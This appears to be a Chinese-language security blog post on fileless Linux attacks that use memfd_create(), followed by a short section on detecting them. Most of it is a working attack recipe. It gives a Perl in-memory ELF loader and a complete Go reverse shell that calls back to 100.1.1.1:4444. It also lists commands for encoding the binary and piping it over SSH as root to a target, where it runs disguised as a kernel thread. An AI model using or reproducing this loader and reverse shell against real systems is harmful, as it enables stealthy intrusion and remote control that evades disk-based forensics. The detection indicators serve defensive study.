memfd_create()
无文件恶意软件是设计来注入到正在运行的Linux系统,在磁盘没有留下任何痕迹。实现这一目标的方法有很多,但以下是一些比较有名的策略:
- 执行二进制文件并从磁盘中删除它自己。
- 代码注入到运行中的服务器,不写磁盘(例如,制作一个PHP服务器运行你输入的恶意php代码)。
- 使用
ptrace()
等调试调用附加到正在运行的进程,并将代码插入内存空间中执行。 - 使用
memfd_create()
等调用在RAM中创建一个可运行的匿名文件。
memfd_create()
调用允许你在Linux上创建内存驻留文件。这就像是把文件保存到RAM而不是文件系统本身。一旦完成此操作,就可以引用驻留内存的文件,并使其像使用标准磁盘目录中的任何文件一样运行。官网手册man page describes:
1 | memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM and has a volatile backing storage. |
类比在Linux主机上调用/bin/ls,替换成把ls加载到RAM中调用,并简单地将其称为
执行攻击
参考:https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
elfload.pl.head
1 | #!/usr/bin/env perl |
2 | use warnings; |
3 | use strict; |
4 | |
5 | $|=1; |
6 | |
7 | my $name = ""; |
8 | my $fd = syscall(319, $name, 1); |
9 | if (-1 == $fd) { |
10 | die "memfd_create: $!"; |
11 | } |
12 | |
13 | open(my $FH, '>&='.$fd) or die "open: $!"; |
14 | select((select($FH), $|=1)[0]); |
15 | |
16 | print "Writing ELF binary to memory..."; |
elfload.pl.tail,ip需要改成需要反弹的ip
1 | # Execute new program |
2 | exec {"/proc/$$/fd/$fd"} "[kworded/0:0]", "-addr", "100.1.1.1:4444" or die "exec: $!"; |
反弹shell
1 | package main |
2 | |
3 | /* |
4 | * demoshell.go |
5 | * Simple reverse shell used in demos |
6 | * By J. Stuart McMurray |
7 | * Created 20180331 |
8 | * Last Modified 20180331 |
9 | */ |
10 | |
11 | import ( |
12 | "flag" |
13 | "fmt" |
14 | "log" |
15 | "net" |
16 | "os" |
17 | "os/exec" |
18 | "time" |
19 | ) |
20 | |
21 | /* Verbose logger */ |
22 | var vlog = log.Printf |
23 | |
24 | func main() { |
25 | var ( |
26 | addr = flag.String( |
27 | "addr", |
28 | "127.0.0.1:4444", |
29 | "Callback `adress`", |
30 | ) |
31 | sleep = flag.Duration( |
32 | "sleep", |
33 | 2*time.Second, |
34 | "Sleep `duration` between callbacks", |
35 | ) |
36 | verbose = flag.Bool( |
37 | "v", |
38 | false, |
39 | "Print message for each connection", |
40 | ) |
41 | ) |
42 | flag.Usage = func() { |
43 | fmt.Fprintf( |
44 | os.Stderr, |
45 | `Usage %v [options] |
46 | Calls the address every so often and hooks up a shell to the network |
47 | connection. |
48 | Options: |
49 | `, |
50 | os.Args[0], |
51 | ) |
52 | flag.PrintDefaults() |
53 | } |
54 | flag.Parse() |
55 | |
56 | /* Unverbose just disables extra logging */ |
57 | if !*verbose { |
58 | vlog = func(string, ...interface{}) {} |
59 | } |
60 | |
61 | log.Printf("Starting shell callbacks to %v", *addr) |
62 | |
63 | for { |
64 | /* Try to make a shell */ |
65 | if err := shell(*addr); nil != err { |
66 | vlog("Error: %v", err) |
67 | } |
68 | /* Sleep until the next one */ |
69 | time.Sleep(*sleep) |
70 | } |
71 | } |
72 | |
73 | /* shell connects to addr and hands it a shell */ |
74 | func shell(addr string) error { |
75 | /* Try to connect */ |
76 | c, err := net.Dial("tcp", addr) |
77 | if nil != err { |
78 | return err |
79 | } |
80 | vlog("Connected %v->%v", c.LocalAddr(), c.RemoteAddr()) |
81 | defer c.Close() |
82 | |
83 | /* Make a shell to hook up */ |
84 | s := exec.Command("/bin/sh") |
85 | s.Stdin = c |
86 | s.Stdout = c |
87 | s.Stderr = c |
88 | |
89 | /* Welcome the user */ |
90 | fmt.Fprintf(c, "Welcome!\n") |
91 | |
92 | /* Start the shell */ |
93 | return s.Run() |
94 | } |
编译成二进制
1 | go build -o demoshel demoshell.go |
具体攻击步骤:
1 | 1. cat elfload.pl.head | tee elfload.pl |
2 | 2. perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' demoshell >> elfload.pl |
3 | 3. cat elfload.pl.tail | tee -a elfload.pl |
4 | 4. cat elfload.pl | ssh root@10.1.1.2 /bin/bash -c 'perl' |
检测Fileless Linux Attacks
1 | ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*\(deleted\) |
此命令遍历/proc目录,查找所有正在运行的进程,看它们是否有一个形如:memfd:(deleted)的可执行路径。这个入口非常可疑,这种标识在无文件攻击很常见。
其他检测
根目录通常是在/root
comm和cmdline命令不一样。comm通常是一个数字(fd)。
maps中也有/memfd: (deleted)
标志
检测总结
- 打开怪异网络端口的进程。
- 进程的名称试图看起来像一个内核线程。
- 进程comm和cmdline文件没有引用相同的命令名
- 进程通信只有一个字符长。
- 进程当前工作目录在/root目录下。
- Process exe指向删除的/memfd: ,而不是一个合法的二进制路径。
- 进程maps文件显示相同的删除位置,而不是合法的二进制路径。
- 进程环境显示SSH连接启动了这个奇怪的删除进程。